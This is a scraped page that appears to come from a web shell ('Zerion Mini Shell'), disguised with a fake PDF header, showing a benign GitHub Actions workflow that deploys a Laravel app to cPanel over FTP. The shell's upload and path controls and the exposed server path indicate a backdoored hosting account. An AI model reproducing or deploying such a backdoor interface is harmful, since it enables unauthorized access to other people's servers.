%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/duwit.rezakurnia.com/rechive-hub/.github/workflows/
Upload File :
Create Path :
Current File : /home2/rezakur1/duwit.rezakurnia.com/rechive-hub/.github/workflows/deploycPanel.yml

name: Deploy Laravel App via FTP

on:
  push:
    branches:
      - main

jobs:
  ftp-deploy:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Install dependencies & build
        run: |
          composer install

      - name: Deploy Laravel to cPanel via FTP
        uses: SamKirkland/FTP-Deploy-Action@4.3.0
        with:
          server: ${{ secrets.FTP_SERVER }}
          username: ${{ secrets.FTP_USERNAME }}
          password: ${{ secrets.FTP_PASSWORD }}
          local-dir: ./               # Root Laravel project
          server-dir: /public_html/   # Sesuaikan dengan folder di hosting
          exclude: |
            **/vendor/**
            **/node_modules/**
            storage/
            tests/
            .git*

Zerion Mini Shell 1.0